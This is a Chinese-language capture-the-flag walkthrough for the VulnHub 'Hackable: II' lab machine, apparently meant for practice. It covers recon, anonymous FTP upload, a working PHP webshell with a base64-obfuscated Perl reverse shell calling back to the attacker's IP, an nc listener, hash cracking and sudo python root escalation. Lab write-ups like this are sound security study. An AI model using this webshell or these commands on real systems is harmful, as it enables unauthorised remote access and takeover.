一、準備工作
kali和靶機都選擇NAT模式(kali與靶機同網段)
1.靶場環境
下載鏈接:Hackable: II ~ VulnHub
2.kali的ip
命令:ifconfig
3.靶機的ip
掃描靶機ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)掃描靶機開放的端口及其服務
nmap -sC -A -p- 192.168.101.124
2.網站信息收集
(1)靶機開放了80端口,先訪問靶機網站看看有什么有用的信息
發現是apapche默認頁面,使用dirb進行目錄掃描
dirb http://192.168.101.124
掃出http://192.168.101.124/files/,訪問一下
三、漏洞發現及利用
(1)ftp登錄
1.發現21端口允許 anonymous: allowed登錄
ftp 192.168.101.124
2.下載下CALL.html文件,查看其中的內容
get CALL.html
3.發現這就是剛才那個CALL.html文件
4.上傳一個txt測試一下
put swn.txt
查看txt文件,跟我寫的一模一樣
(2)通過ftp上傳webshell.php
webshell源碼
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
1.將php放到/home/kali目錄下,因為我剛才是用kali用戶進行ftp登錄,默認情況下通過這里上傳
2.上傳webshell
put webshell.php
3.在kali這邊開啟監聽
nc -lvvp 4444
4.進入到網頁http://192.168.101.124/files/這邊訪問webshell
kali這邊成功監聽
5.優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python3 -c 'import pty; pty.spawn("/bin/bash");'
四、提權
1.發現一個提示文件,讓我們啟動腳本
cd /home
ls
cat important.txt
/.runme.sh
得到一個用戶密碼:shrek:cf4c2232354952690368f1b3dfdfb24d
這個密碼是加密過的,嘗試用md5解密
最后得到用戶密碼:shrek:onion
2.ssh遠程登錄
ssh shrek@192.168.101.124
3.查看該用戶的權限并且該用戶能夠利用引用root相關的執行文件有哪些
sudo -l
4.使用python進行提權
sudo python3.5 -c 'import os; os.system("/bin/sh")'
5.拿下flag
ls
cat user.txt